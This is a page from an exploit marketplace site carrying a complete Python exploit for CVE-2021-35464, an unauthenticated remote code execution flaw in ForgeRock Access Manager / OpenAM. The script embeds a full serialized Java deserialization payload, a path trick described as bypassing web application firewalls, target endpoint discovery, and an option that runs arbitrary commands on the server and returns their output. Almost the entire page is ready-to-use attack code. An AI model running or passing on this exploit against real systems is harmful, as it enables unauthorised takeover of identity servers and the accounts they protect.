0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ForgeRock Access Manager / OpenAM 14.6.3 - Remote Code Execution (Unauthenticated) Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-07-14
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/
# Version: [1] OpenAM 14.6.3
# [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10
# CVE: CVE-2021-35464
#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-35464.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Rewritten from and full credits to @Y4er_ChaBug:
https://github.com/Y4er/openam-CVE-2021-35464
and of course the discoverer @artsploit:
https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
Created using https://github.com/frohoff/ysoserial
'''
import urllib.request, urllib.parse, ssl, sys, optparse
## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7080/openam'
sEndpoint = 'ccversion/Version'
sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs
iTimeout = 5
strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$'
## Ignore unsigned certs, if any because OpenAM is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context
def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if not sHost[-1:] == '/': sHost += '/'
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.command: sCMD = options.command
else: sCMD = ''
if options.proxy: sProxy = options.proxy
else: sProxy = ''
return (sHost, sCMD, sProxy)
def findEndpoint(oOpener, sHost, sProxy):
def testEndpoint(sURL):
oRequest = urllib.request.Request(sURL)
if sProxy: oRequest.set_proxy(sProxy, 'http')
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
except: return False
if oResponse.code == 200:
if 'ForgeRock' in oResponse.read().decode(errors='ignore'):
print('[+] Found potential vulnerable endpoint: ' + sURL)
return True
return False
if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint
elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint
elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint
elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version'
elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version'
else: return ''
def testVuln(oOpener, sURL, sProxy):
oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464')
## The response is actually not well formed HTTP, needs manual formatting
bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes
try: oResponse.readinto(bResp)
except: pass
#print(bResp.split(b'\x00')[0])
if 'CVE-2021-35464' in bResp.decode(): return True
else: return False
def runVuln(oOpener, sURL, sProxy, sCMD):
oResponse = runCmd(oOpener, sURL, sProxy, sCMD)
## The response is actually not well formed HTTP, needs manual formatting
bResp = bytearray(4096)
try: oResponse.readinto(bResp)
except: pass ## The readinto still should have worked
sResp = bResp.split(b'\x00')[0].decode()
print(sResp)
def runCmd(oOpener, sURL, sProxy, sCMD):
oData = b'jato.pageSession=' + strSerializedPayload
oHeaders = {'cmd' : sCMD}
oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData)
if sProxy: oRequest.set_proxy(sProxy, 'http')
return oOpener.open(oRequest, timeout = iTimeout)
def main():
usage = (
'usage: %prog [options] URL \n'
'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n'
'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n'
'When in doubt, just enter a single IP address'
)
parser = optparse.OptionParser(usage=usage)
parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely')
parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sCMD, sProxy) = checkParams(options, args)
## Verify reachability
print('[!] Verifying reachability of ' + sHost)
oOpener = urllib.request.build_opener()
oRequest = urllib.request.Request(sHost)
if sProxy: oRequest.set_proxy(sProxy, 'http')
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
except urllib.error.HTTPError: pass
except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable')
print('[+] Endpoint ' + sHost + ' reachable')
## Find endpoint
print('[!] Finding correct OpenAM endpoint')
sEndpoint = findEndpoint(oOpener, sHost, sProxy)
if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.')
## Verify vulnerability
if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464')
else: sys.exit('[-] Not vulnerable or this implementation does not work')
if sCMD:
print('[+] Running command "' + sCMD + '" now:\n')
runVuln(oOpener, sEndpoint, sProxy, sCMD)
else: print('[!] All done')
if __name__ == "__main__":
main()
# 0day.today [2024-11-16] #